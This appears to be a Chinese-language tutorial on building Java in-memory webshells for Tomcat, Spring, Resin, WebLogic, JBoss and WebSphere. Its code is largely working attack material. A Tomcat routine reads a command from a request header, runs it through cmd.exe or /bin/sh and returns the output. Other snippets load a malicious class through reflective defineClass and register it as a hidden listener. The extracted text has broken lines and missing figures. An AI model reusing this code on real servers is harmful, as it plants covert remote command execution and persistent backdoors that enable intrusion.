一文深度学习java内存马
1. 前言
java内存马注入一般分为两种
- 动态注册添加新的listener/filter/servlet/controller等等
- agent注入修改已有class,插入恶意代码
在理解内存马注入前,有几个概念需要掌握的。
- 类加载
- 双亲委派问题以及context
- 类反射
2. 基础
2.1. class对象
java中的对象可以分为两种对象:Class对象和实例对象
- 信息属性:从对象的作用看,Class对象保存每个类型运行时的类型信息,如类
名、属性、方法、父类信息等等。在JVM中,一个类只对应一个Class对象 - 普适性:Class对象是java.lang.Class类的对象,和其他对象一样,我们可以获取
并操作它的引用 - 运行时唯一性:每当JVM加载一个类就产生对应的Class对象,保存在堆区,类
型和它的Class对象时一一对应的关系。一旦类被加载了到了内存中,那么不论通过哪种
方式获得该类的Class对象,它们返回的都是指向同一个java堆地址上的Class对象引用。
JVM不会创建两个相同类型的Class对象

Class类没有公共的构造方法,Class对象是在类加载的时候由Java虚拟机以及通过
调用类加载器中的 defineClass 方法自动构造的,因此不能显式地声明一个Class对象。
2.2.类加载
一个类被加载到内存并供我们使用需要经历如下三个阶段:
- 加载,这是由类加载器(ClassLoader)执行 的。通过一个类的全限定名来获
取其定义的二进制字节流(Class字节码),将这个字节流所代表的静态存储结
构转化为方法去的运行时数据接口,根据字节码在java堆中生成一个代表这个类
的java.lang.Class对象 - 链接。在链接阶段将验证Class文件中的字节流包含的信息是否符合当前虚拟机
的要求,为静态域分配存储空间并设置类变量的初始值(默认的零值),并且
如果必需的话,将常量池中的符号引用转化为直接引用。 - 初始化。到了此阶段,才真正开始执行类中定义的java程序代码。用于执行该
类的静态初始器和静态初始块,如果该类有父类的话,则优先对其父类进行
初始化
所有的类都是在对其第一次使用时,动态加载到JVM中的(懒加载)
触发类加载的方式
- Class.forName("类的全限定名")
- new 类构造方法
除了上述方式,还可以通过网络加载字节码方式来调用外部类
- oadclass:判断是否已加载,使用双亲委派模型,请求父加载器,都为空,使用
findclass - findclass:根据名称或位置加载.class字节码,然后使用defineClass
- defineclass:解析定义.class字节流,返回class对象
- loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是
双亲委派机制),在前面没有找到的情况下,执行 findClass - findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中
说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交
给 defineClass - defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类
所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成
一个Java类,Java默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言
代码中
classloader推荐
jxxload_help.PathVFSJavaLoader#loadClassFromBytes org.python.core.BytecodeLoader1#loadClassFromBytes sun.org.mozilla.javascript.internal.DefiningClassLoader#defineCl ass java.security.SecureClassLoader#defineClass(java.lang.String, byte[], int, int, java.security.CodeSource) org.mozilla.classfile.DefiningClassLoader#defineClass org.mozilla.javascript.DefiningClassLoader com.sun.org.apache.bcel.internal.util.ClassLoader com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类装载器是用来把类(class)装载进 JVM 的。JVM 规范定义了两种类型的类装载器:
启动类装载器(bootstrap)和用户自定义装载器(user-defined class loader)。 JVM在运行时会
产生3个类加载器组成的初始化加载器层次结构 ,如下图所示:

//1、获取系统类的加载器 ClassLoader classLoader = ClassLoader.getSystemClassLoader(); System.out.println(classLoader); //2. 获取系统类加载器的父类加载器(扩展类加载器,可以获取). classLoader = classLoader.getParent(); System.out.println(classLoader); //3. 获取扩展类加载器的父类加载器(引导类加载器,不可获取). classLoader = classLoader.getParent(); System.out.println(classLoader);
2.3. 类反射
其实就是获取Class对象,然后调用该对象进行一系列操作
- Class: 是一个类; 一个描述类的类
- 封装了描述方法的 Method
- 描述字段的 Filed
- 描述构造器的 Constructor 等属性
如何得到 Class 对象
- Person.class
- person.getClass()
- Class.forName("com.atguigu.javase.Person")
关于 Method
如何获取 Method:
- getDeclaredMethods: 得到 Method 的数组
- getDeclaredMethod(String methondName, Class ...
parameterTypes) 可以拿到反射类中的公共方法、私有方法、保
护方法、默认访问,但不获得父类方法 - getMethod(String methondName, Class ... parameterTypes)可以
拿到反射类及其父类中的所有公共方法, 但无法获取私有方法
如何调用 Method
- 如果方法时 private 修饰的, 需要先调用 Method 的
setAccessible(true), 使其变为可访问 - method.invoke(obj, Object ... args)
关于 Field
如何获取 Field: getField(String fieldName)
如何获取 Field 的值
- setAccessible(true)
- field.get(Object obj)
如何设置 Field 的值
- field.set(Obejct obj, Object val)
如果属性用 final 修饰的,需要获取Field的mofilers属性,将FINAL约
束去掉,则可修改

ips:
数组反射
无偿分享:网络安全/黑客技术零基础到进阶全套教程&工具包&学习路线👍
声明数组对象
Array.newInstance(int.class, 3);
数组class
Class intArray = Class.forName("[I");
Class byteArray = Class.forName("[B");
Class stringArrayClass = Class.forName("[Ljava.lang.String;");// 上面的字符串可以通过打印来观察
System.out.println(LinkOption[].class);
// 输出
class [Ljava.nio.file.LinkOption;// 取巧
Class theClass = getClass(theClassName);
Class stringArrayClass = Array.newInstance(theClass,
0).getClass();
获取数组值
Array.get(obj, index);
2.4. 双亲委派
双亲委派的作用:
- 为了保证相同的class文件,在使用的时候,是相同的对象,jvm设计的时候,采
用了双亲委派的方式来加载类,防止相同类的重复加载。一般来说应用启动的
时候会有统一的AppClassLoader来加载项目里的class - 保证启动类加载器优先加载,防止JDK的class被篡改
打破双亲委派:ClassLoader#loadClass方法就是以双亲委派逻辑编写的,只要继承
ClassLoader重写loadClass去掉双亲委派的代码就可以打破双亲委派。也可以通过
defineclass绕过loadclass。
tomcat类加载器需要破坏双亲委派机制
tomcat是个web容器,要解决以下问题
- 一个web容器可能要部署两个或者多个应用程序,不同的应用程序,可能会依赖
同一个第三方类库的不同版本,因此要保证每一个应用程序的类库都是独立、相互隔离
的 - 部署在同一个web容器中的相同类库的相同版本可以共享,否则,会有重复的类
库被加载进JVM - web容器也有自己的类库,不能和应用程序的类库混淆,需要相互隔离
- web容器支持jsp文件修改后不用重启,jsp文件也是要编译成.class文件的,支持
HotSwap功能
- 架构图

tomcat自己定义的类加载器
- CommonClassLoader:tomcat最基本的类加载器,加载路径中的class可以被tomcat和
各个webapp访问 - CatalinaClassLoader:tomcat私有的类加载器,webapp不能访问其加载路径下的
class,即对webapp不可见 - SharedClassLoader:各个webapp共享的类加载器,对tomcat不可见
- WebappClassLoader:webapp私有的类加载器,只对当前webapp可见
- JspClassLoader
- 每一个web应用程序对应一个WebappClassLoader,每一个jsp文件对应一个
JspClassLoader,所以这两个类加载器有多个实例
Tomcat 中有 4 类容器组件,从上至下依次是:
- Engine,实现类为 org.apache.catalina.core.StandardEngine
- Host,实现类为 org.apache.catalina.core.StandardHost
- Context,实现类为 org.apache.catalina.core.StandardContext
- Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
“从上至下” 的意思是,它们之间是存在父子关系的
- Engine:最顶层容器组件,其下可以包含多个 Host
- Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context
- Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
- Wrapper:一个 Wrapper 代表一个 Servlet
srping
3. 动态注册方式注入
关于各个协议和组件的内存马的构造思路其实都大同小异
- 分析涉及处理请求的对象,阅读它的源码看看是否能获取请求内容,同时能否
控制响应内容 - 然后分析该对象是如何被注册到内存当中的,最后我们只要模拟下这个过程即
可 - 一般的流程就是request->context->addListener/addFilter
我怎么拿到当前请求的request对象,request对象里一般会有context,context里面一
般都有一些注册组件的方法或者变量存储
需要注意问题
- 如果不是web相关类加载器,可能出现类加载报类找不到的问题,这是因为双亲
委派隔离 - 如果用当前上下文的类加载,则相同类名只能加载一次
要解决上面两个问题,就是基于当前上下文的类加载去new一个新的类加载器。
如下用Mlet就是一种方法
new javax.management.loading.MLet(new java.net.URL[0], conreq.getClass().getClassLoader())
参考代码
java.lang.reflect.Method defineClassMethod =
ClassLoader.class.getDeclaredMethod("defineClass", new Class[]
{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(new
javax.management.loading.MLet(new java.net.URL[0],
conreq.getClass().getClassLoader()), new Object[]{classBytes,
new Integer(0), new Integer(classBytes.length)});
在研究中间件之前,最好去了解下该中间件的发展历史,有哪些版本,因为不同版
本的代码肯定会有不同层度的改动,你的内存马是否适配每个版本是个问题
3.1. tomcat
tomcat5无法拿到catalinaLoader,所以需要遍历所有的线程,通过如下判断可以获取
Catalina对应的线程,然后就是继续挖掘request类
for (int i = 0; i < threads.length; i++) {if
(threads[i].getName().contains("ContainerBackgroundProcessor"))
{o = getFieldValue(threads[i], "target");if (!(o instanceof Runnable)) {continue;}}}
tomcat5-9
public static void echo() throws Exception{
Object o;
Object resp = null;
boolean done = false;
try {
java.lang.reflect.Method getThreadsM =
Thread.class.getDeclaredMethod("getThreads", new Class[0]);
getThreadsM.setAccessible(true);
Thread[] threads = (Thread[])
getThreadsM.invoke(null, new Object[0]);
for (int i = 0; i < threads.length; i++) {
String name = threads[i].getName();
if
(name.contains("ContainerBackgroundProcessor") ||
(!name.contains("exec") && name.contains("http"))) {
o = getFieldValue(threads[i], "target");
if (!(o instanceof Runnable)) {
continue;
}
try {
Object connectionHandler = null;
try {
Object[] connectors = (Object[])
getFieldValue(getFieldValue(getFieldValue(o, "this$0"),
"service"), "connectors");
for (int j = 0; j <
connectors.length; j++) {
Object connector =
connectors[j];
// tomcat5/6/7
connectionHandler =
getFieldValue(getFieldValue(connector, "protocolHandler"),
"cHandler");
if (connectionHandler == null) {
// tomcat8
connectionHandler =
getFieldValue(getFieldValue(connector, "protocolHandler"),
"handler");
} else {
break;
}
}
}catch (Exception e) {
// tomcat9
connectionHandler =
getFieldValue(getFieldValue(o, "this$0"), "handler");}
java.util.ArrayList processors =
(java.util.ArrayList)
getFieldValue(getFieldValue(connectionHandler, "global"),
"processors");
for (int j = 0; j < processors.size();
j++) {
Object processor =
processors.get(j);
Object req =
getFieldValue(processor, "req");
String s = (String)
req.getClass().getMethod("getHeader", new Class[]
{String.class}).invoke(req, new Object[]{"Accept-Encoded"});
if (s != null && !s.isEmpty()) {
Object conreq =
req.getClass().getMethod("getNote", new Class[]
{int.class}).invoke(req, new Object[]{new Integer(1)});
try {
resp =
conreq.getClass().getMethod("getResponse", new
Class[0]).invoke(conreq, new Object[0]);
} catch (Exception e) {
resp =
getFieldValue(getFieldValue(conreq, "request"), "response");
}resp.getClass().getMethod("setStatus", new Class[]
{int.class}).invoke(resp, new Object[]{new Integer(200)});resp.getClass().getMethod("addHeader", new Class[]
{String.class, String.class}).invoke(resp, new Object[]
{"Transfer-encoded", "chunked"});
done = true;
byte[] cmdBytes;
if (s.equals("echo") ) {
cmdBytes =
System.getProperties().toString().getBytes();
} else {
String[] cmd =
System.getProperty("os.name").toLowerCase().contains("window") ?
new String[]{"cmd.exe", "/c", s} : new String[]{"/bin/sh", "-c",
s};
cmdBytes = new
java.util.Scanner(new
ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\\\
A").next().getBytes();
}
writeBody(resp, "======" + new
String(cmdBytes) + "======");
}
if (done) {
break;
}
}
}catch (Exception e) {
continue;
}
}
}
} catch (Exception ex) {
writeBody(resp, ex.toString());
}
}
通过request获取context
// 获取contextprivate static Object getContext(Object request) throws
Exception {Object context = null;try {// allcontext = getFieldValue(request, "context");} catch (Exception e) {try {// tomcat6context = invoke(request, "getContext");} catch (Exception ignored) {try {// tomcat7以上context = invoke(request,
"getServletContext");} catch (Exception ignored1) {// resin3context = invoke(request, "getWebApp");}}}return context;}
// get standardContext
Object applicationContextFacade = geContext(request);
// 获取ApplicationContext对象
Object applicationContext =
getFieldValue(applicationContextFacade, "context");
// 获取StandardContext对象
Object standardContext = getFieldValue(applicationContext,
"context");
添加listener
getMethodByClass(standardContext.getClass(),
"setApplicationEventListeners",
Object[].class).invoke(standardContext, new Object[]
{newListeners.toArray()});

3.2. 半自动化挖掘
https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/
工具链接: https://github.com/lz520520/java-object-searcher
将java-object-searcher-.jar引入到目标应用的classpath中,或者可以放在jdk的ext目
录(一劳永逸)
编写调用代码搜索目标对象
以搜索request对象为例,选好搜索器,并根据要搜索的目标特点构造好关键字(必须)
和黑名单(非必须),可写如下搜索代码到IDEA的Evaluate中执行
//设置搜索类型包含Request关键字的对象
Class.forName("me.gv7.tools.josearcher.entity.Keyword");
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys =
new java.util.ArrayList();
keys.add(new
me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("
listener").build());
//定义黑名单
java.util.List<me.gv7.tools.josearcher.entity.Blacklist>
blacklists = new java.util.ArrayList();
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("java.io.File").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("Exception").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_name
("contextClassLoader").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("CompoundClassLoader").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("ExtClassLoader").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher =
new
me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren
tThread(),keys);
// SearchRequstByDFS searcher = new
SearchRequstByDFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(10);
//设置报告保存位置
searcher.setReport_save_path(".");
searcher.searchObject();
SearchRequstByBFS_log 日志文件开头
比如tomcat的request搜索

3.3. spring
Object requestAttributes =
Class.forName("org.springframework.web.context.request.RequestCo
ntextHolder").getMethod("getRequestAttributes", new
Class[0]).invoke(null, new Object[0]);
Object httprequest =requestAttributes.getClass().getMethod("getRequest", new
Class[0]).invoke(requestAttributes, new Object[0]);
Object httpresponse =requestAttributes.getClass().getMethod("getResponse", new
Class[0]).invoke(requestAttributes, new Object[0]);
Object servletContext =
httprequest.getClass().getMethod("getServletContext", new
Class[0]).invoke(requestAttributes, new Object[0]);
3.4. resin
3.4.1. resin4记录
resin很体贴,他的 com.caucho.server.webappWebApp类直接提供了添加方法,
如下调用 addListenerObject 即可添加。
servletContext = invoke(httprequest, "getServletContext");
Object webApp = servletContext;
Method addListenerObjectM = getMethodByClass(webApp.getClass(),
"addListenerObject", new Class[]{Object.class, boolean.class});
// 实例化,并修改pwd
java.lang.reflect.Method m = Class.forName("java.lang.C"+
"lassLoader").getDeclaredMethod("defin"+"eClass", byte[].class,
int.class, int.class);
m.setAccessible(true);
Class clazz = (Class) m.invoke(new
javax.management.loading.MLet(new java.net.URL[0],
Thread.currentThread().getContextClassLoader()),clazzBytes, 0,
clazzBytes.length);
Object listener = clazz.newInstance();
addListenerObjectM.invoke(webApp, new Object[]{listener, true});

3.4.2. resin3记录
resin3和resin4添加流程基本一样。区别就在于获取WebApp类的方法,resin4是
getServletContext,而resin3是 getWebApp
servletContext = invoke(httpServletRequest, "getWebApp");
而resin3还存在一个bug,如果listener里调用了response写入数据,那么响应包就会出
现chunked编码,并且还包含原来的Content-Length,可能导致解析异常,如下yakit获取
直到30秒超时才响应

还有个区别,如下获取request,3和4获取的实现类不一样,3是
com.caucho.server.http.HttpRequest,而4是
com.caucho.server.http.HttpServletRequestImpl
Thread.currentThread().getContextClassLoader().loadClass("com.ca
ucho.server.dispatch.ServletInvocation").getMethod("getContextRe
quest").invoke(null);
3.5. weblogic
3.5.1. 12.1.3以上
ServletRequestImpl是放在currentWork->connectionHandler->request
而10.3.6则是currentWork= ServletRequestImpl ,这里主要区别,除此之外,
10.3.6的context没有phase
Object currentWork =((ExecuteThread)
Thread.currentThread()).getCurrentWork();
Field connectionHandler =
currentWork.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
Object httpConnectionHandler =
connectionHandler.get(currentWork);
Field requestF =
httpConnectionHandler.getClass().getDeclaredField("request");
requestF.setAccessible(true);
httpConnectionHandler = requestF.get(httpConnectionHandler);
java.lang.reflect.Field contextF =
httpConnectionHandler.getClass().getDeclaredField("context");
contextF.setAccessible(true);
WebAppServletContext webAppServletContext =
(WebAppServletContext) contextF.get(httpConnectionHandler);
byte[] evilClassBytes = new
BASE64Decoder().decodeBuffer("yv66");Method defineClass =
ClassLoader.class.getDeclaredMethod("defineClass", byte[].class,
Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);// 获取webAppServletContext中的classLoader
Field classLoaderF =
webAppServletContext.getClass().getDeclaredField("classLoader");
classLoaderF.setAccessible(true);
ClassLoader classLoader = (ClassLoader)
classLoaderF.get(webAppServletContext);
Class servletClass = (Class) defineClass.invoke(classLoader,
evilClassBytes, 0, evilClassBytes.length);Field phaseF =
webAppServletContext.getClass().getDeclaredField("phase");
phaseF.setAccessible(true);
Object INITIALIZER_STARTUP =Class.forName("weblogic.servlet.internal.WebAppServletContext$C
ontextPhase").getDeclaredField("INITIALIZER_STARTUP").get(null);
Object START =Class.forName("weblogic.servlet.internal.WebAppServletContext$C
ontextPhase").getDeclaredField("START").get(null);Object OldContextPhase = phaseF.get(webAppServletContext);
phaseF.set(webAppServletContext, INITIALIZER_STARTUP);webAppServletContext.registerListener("tools.mem.shells.listener
.testCmdListener");phaseF.set(webAppServletContext, START);
在weblogic启动后,高版本其实是不允许添加listener的,这里会检查
如果为START表示启动完毕,则这里会抛出异常

checkNotifyDynamicContext 会检查另一项

这是12.1.3的,12.2.1.3以上会增加AFTER_INITIALIZER_NOTIFY_LISTENER,这
里选择

3.6. jboss
测试AS6.1 可直接复用tomcat的listener 内存马,原因就是jboss内嵌了tomcat
3.7. WebSphere
| WebSphere version | WebSphere Liberty (Continuous Delivery) | 9.0 | 8.5.5 | 8.5 Liberty Profile | 8.5 | 8.0 | 7.0 | 6.1 | 6.0 | 5.1 | 5.0 | 4.0 | 3.5 |
| Latest Fix Pack | 22.0.0.7 | 9.0.5.12 | 8.5.5.22 | 8.5.5.9 (the next is 16.0.0.2) | 8.5.0.2 | 8.0.0.15 | 7.0.0.45 | 6.1.0.47 | 6.0.2.43 | 5.1.1.19 | 5.0.2 | 4.0.7 | 3.5.7 |
| Release date | 5 July 2022 | 7 June 2022 | 25 July 2022 | June 15, 2012 | June 15, 2012[5] | June 17, 2011 | October 17, 2008 | June 30, 2006 | December 31, 2004 | January 16, 2004 | January 3, 2003 | August 15, 2001 | August 31, 2000 |
| End of support | June 24, 2016 (with the release of 16.0.0.2) [6] | April 30, 2018 | April 30, 2018 | September 30, 2013 | September 30, 2010 | September 30, 2008 | September 30, 2006 | April 30, 2005 | November 30, 2003 | ||||
| Java SE | 6 (until 17.0.0.2), 7, 7.1, 8 and 11 (since 19.0.0.1) [10] | 8 | 6 (until 8.5.5.13), 7, 7.1 (since 8.5.5.2) and 8 (since 8.5.5.9) [11] | 6, 7, 7.1 (since 8.5.5.2) and 8 (since 8.5.5.5) | 6 and 7[12] | 6 | 6 | 5 | 1.4 | 1.4 | 1.4 | 1.3 | 1.2 |
| Java EE | 6 (web profile) and 7[13] | 7 | 6 | 6 (web profile) and 7 (since 8.5.5.6) | 6 | 6 | 5 | 1.4 | 1.4 | 1.3 | 13 | 1.2 | 1.2 (not fully compliant) |
| WebSphere version | WebSphere Liberty (Continuous Delivery) | 9.0 | 8.5.5 | 8.5 Liberty Profile | 8.5 | 8.0 | 7.0 | 2.4 | 6.0 | 5.1 | 5.0 | 4.0 | 3.5 |
| Servlet | 3.0,3.1,4.0 | 3.1 | 3.0 | 3.1 | 3.0 | 3.0 | 2.5 | 2.0 | 2.4 | 2.3 | 2.3 | 2.2 | 2.1&2.2 |
| JSP | 2.2, 2.3 | 2.3 | 2.2 | 2.3 | 2.2 | 2.2 | 2.1 | 1.1 | 2.0 | 1.2 | 1.2 | 1.1 | 0.91 and 1.0&1.1 |
| JSF | 2.0, 2.2, 2.3 | 2.2 | 2.0 | 2.2 | 3.2 | 2.0 | 1.2 | 3.0 | 1.0 | ||||
| EJB | 3.1 (lite), 3.2 | 3.2 | 3.1 | 3.2 | 1.1 | 3.1 | 3.0 | 3.0 | 2.1 | 2.0 | 2.0 | 1.1 | 1.0 |
| JMS | 1.0, 2.0 | 2.0 | 1.1 | 1.1 | 4.1 | 1.1 | 1.1 | 1.1 | 1.1 | 1.02 | |||
| JDBC | 4.0, 4.1 | 4.1 | 4.1 | 4.1 | 4.0 | 4.0 | 4.0 | 3.0 | 3.0 | ||||
| JPA | 2.0, 2.1 | 2.0, 2.1[15] | 2.0 | 2.1 | 2.0 | 2.0 | 1.0 | 1.0 | 1.0 |
3.7.1. 回显
websphere7找不到像8.5那样的调用链, wsThreadLocals 里没有
WebContainerRequestState类,所以我得找起来方法,尝试在线程里跑request,但没找到
https://github.com/feihong-cs/Java-Rce-Echo/blob/master/Websphere/code/websphereEch
o.jsp
在分析堆栈的时候,发现了一个获取web容器的地方如下
com.ibm.ws.webcontainer.WebContainer.getWebContainer()

接着就找到当前容器的上下文,以及request和response
com.ibm.ws.webcontainer.WebContainer.getWebContainer().getConnec tionContext()

这个context有问题,获取connContext后需要用WCCRequestImpl初始化,才能拿到真
正的request,所以这个思路是不行了

继续看了下,发现这里有个静态变量_cacheMap

这个连接对象池里会放着已连接过的context,但没啥用,他只是复用连接,还是需
要上述通过req res初始化

这个方法也能获取到context
WebContainer.getFromCache(new
StringBuffer("30.1.20.3:9080/visor_externo/class.jsp"))

3.7.2. 半自动化搜索备注
Object webapp =
((com.ibm.ws.webcontainer.webapp.WebGroupImpl)com.ibm.ws.webcont
ainer.WebContainer.getWebContainer().requestMapper.map(":9080/vi
sor_externo/*")).webApp;//设置搜索类型包含Request关键字的对象
Class.forName("me.gv7.tools.josearcher.entity.Keyword");
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys =
new java.util.ArrayList();
keys.add(new
me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("
listener").build());//定义黑名单
java.util.List<me.gv7.tools.josearcher.entity.Blacklist>
blacklists = new java.util.ArrayList();
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("java.io.File").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("Exception").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_name
("contextClassLoader").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("CompoundClassLoader").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("ExtClassLoader").build());//新建一个广度优先搜索Thread.currentThread()的搜索器
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher =
new
me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren
tThread(),keys);
// SearchRequstByDFS searcher = new
SearchRequstByDFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(10);
//设置报告保存位置
searcher.setReport_save_path(".");
searcher.searchObject();
new
me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren
tThread(),new
me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("
listener").build()).searchObject();
TargetObject = {com.ibm.ws.webcontainer.webapp.WebAppImpl}---> javaColonCtxt = {javax.naming.InitialContext}---> defaultInitCtx =
{com.ibm.ws.naming.java.javaURLContextRoot}---> _orb = {com.ibm.CORBA.iiop.ORB}---> threadGroup = {java.lang.ThreadGroup}---> childrenThreads = {class [Ljava.lang.Thread;}---> [27] = {java.lang.Thread}---> runnable =
{com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector}---> selector = {sun.nio.ch.EPollSelectorImpl}---> fdToKey = {class java.util.HashMap}---> [316] = {sun.nio.ch.SelectionKeyImpl}---> attachment =
{com.ibm.ws.tcp.channel.impl.TCPPort}---> tcpChannel =
{com.ibm.ws.tcp.channel.impl.AioTCPChannel}---> inUse = {class
[Lcom.ibm.ws.tcp.channel.impl.TCPChannelLinkedList;}---> [0] =
{com.ibm.ws.tcp.channel.impl.TCPChannelLinkedList}---> voidLink = {java.util.LinkedList$Link}---> previous = {java.util.LinkedList$Link}---> data =
{com.ibm.ws.tcp.channel.impl.TCPConnLink}---> reader =
{com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl}
TargetObject = {com.ibm.ws.webcontainer.webapp.WebAppImpl}---> javaColonCtxt = {javax.naming.InitialContext}---> defaultInitCtx =
{com.ibm.ws.naming.java.javaURLContextRoot}---> _orb = {com.ibm.CORBA.iiop.ORB}---> threadGroup = {java.lang.ThreadGroup}---> childrenThreads = {class [Ljava.lang.Thread;}---> [27] = {java.lang.Thread}---> runnable =
{com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector}---> selector = {sun.nio.ch.EPollSelectorImpl}---> fdToKey = {class java.util.HashMap}---> [316] = {sun.nio.ch.SelectionKeyImpl}---> attachment =
{com.ibm.ws.tcp.channel.impl.TCPPort}---> tcpChannel =
{com.ibm.ws.tcp.channel.impl.AioTCPChannel}---> inUse = {class
[Lcom.ibm.ws.tcp.channel.impl.TCPChannelLinkedList;}---> [0] =
{com.ibm.ws.tcp.channel.impl.TCPChannelLinkedList}---> voidLink = {java.util.LinkedList$Link}---> previous = {java.util.LinkedList$Link}---> data =
{com.ibm.ws.tcp.channel.impl.TCPConnLink}---> writer =
{com.ibm.ws.tcp.channel.impl.AioTCPWriteRequestContextImpl}
Class clazz =
Class.forName("com.ibm.ws.webcontainer.WebContainer");
Object webContainer =
clazz.getDeclaredMethod("getWebContainer").invoke(null);
Object requestMapper =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(webContai
ner,"requestMapper");
Object webGroup =
requestMapper.getClass().getDeclaredMethod("map",
String.class).invoke(requestMapper, ":9080/visor_externo/*");
Object webapp =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(webGroup,
"webApp");
Object obj0 = webapp;
// {javax.naming.InitialContext}
Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"jav
aColonCtxt");
// {com.ibm.ws.naming.java.javaURLContextRoot}
Object obj2 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1,"def
aultInitCtx");
// {com.ibm.CORBA.iiop.ORB}
Object obj3 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2,"_or
b");
// {java.lang.ThreadGroup}
Object obj4 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3,"thr
eadGroup");
// {class [Ljava.lang.Thread;}
Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"chi
ldrenThreads");
// {com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector}
Object obj7 = null;
for (Thread thread: ((Thread[]) obj5)) {obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(thread,"r
unnable");if (obj7 !=null &&
obj7.getClass().getName().contains("NBAcceptChannelSelector")) {break;}
}
// {sun.nio.ch.EPollSelectorImpl}
Object obj8 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"sel
ector");
// {class java.util.HashMap}
Object obj9 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj8,"fdT
oKey");
Object obj10 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(((Map)
obj9).get(317),"attachment");
Object obj12 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj10,"tc
pChannel");
Object obj13 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj12,"in
Use");
Object obj15 = ((java.util.List) ((TCPChannelLinkedList[])
obj13)[0]).get(0);
Object obj18 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj15,"re
ader");
com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl req =
(com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl)
obj18;
com.ibm.ws.http.channel.inbound.impl.HttpInboundLink myLink =
(com.ibm.ws.http.channel.inbound.impl.HttpInboundLink)
req.getTCPConnLink().getVirtualConnection().getStateMap().get(co
m.ibm.ws.http.channel.impl.CallbackIDs.CALLBACK_HTTPICL);
com.ibm.ws.webcontainer.channel.WCChannelLink wcChannelLink =
(com.ibm.ws.webcontainer.channel.WCChannelLink)
myLink.getApplicationCallback();
wcChannelLink.request.getHeader("xxx")
3.7.3. 基于request定位context
TargetObject = {com.ibm.ws.webcontainer.srt.SRTServletRequest}---> _dispatchContext =
{com.ibm.ws.webcontainer.webapp.RootWebAppDispatcherContext}---> _webapp = {com.ibm.ws.webcontainer.webapp.WebAppImpl}
idea_express:Object obj0 = TargetObject;//
{com.ibm.ws.webcontainer.webapp.RootWebAppDispatcherContext}Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"_di
spatchContext");// {com.ibm.ws.webcontainer.webapp.WebAppImpl}Object obj2 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1,"_we
bapp");
3.7.4. 基于Thread.currentThread()定位request
这个定位的有问题,不是当前request
argetObject = {com.ibm.ws.util.ThreadPool$Worker}---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}---> table = {class
[Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}---> [11] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}---> value =
